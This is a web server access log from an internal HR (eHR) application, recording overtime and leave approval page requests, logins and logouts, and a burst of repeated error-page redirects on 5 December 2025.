/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132753%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132753&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132753%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132753&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [05/Dec/2025:17:55:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 100.64.0.1 - - [05/Dec/2025:18:04:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:18:04:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.40.34 - - [05/Dec/2025:18:18:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:18:18:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [05/Dec/2025:18:43:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.126 - - [05/Dec/2025:18:43:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [05/Dec/2025:18:43:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.126 - - [05/Dec/2025:18:43:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.126 - - [05/Dec/2025:18:43:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.126 - - [05/Dec/2025:18:43:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:43:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [05/Dec/2025:18:44:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8622729150887638 HTTP/1.1" 200 55332 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [05/Dec/2025:18:44:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8622729150887638 HTTP/1.1" 200 55332 192.168.11.126 - - [05/Dec/2025:18:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8622729150887638 HTTP/1.1" 200 57512 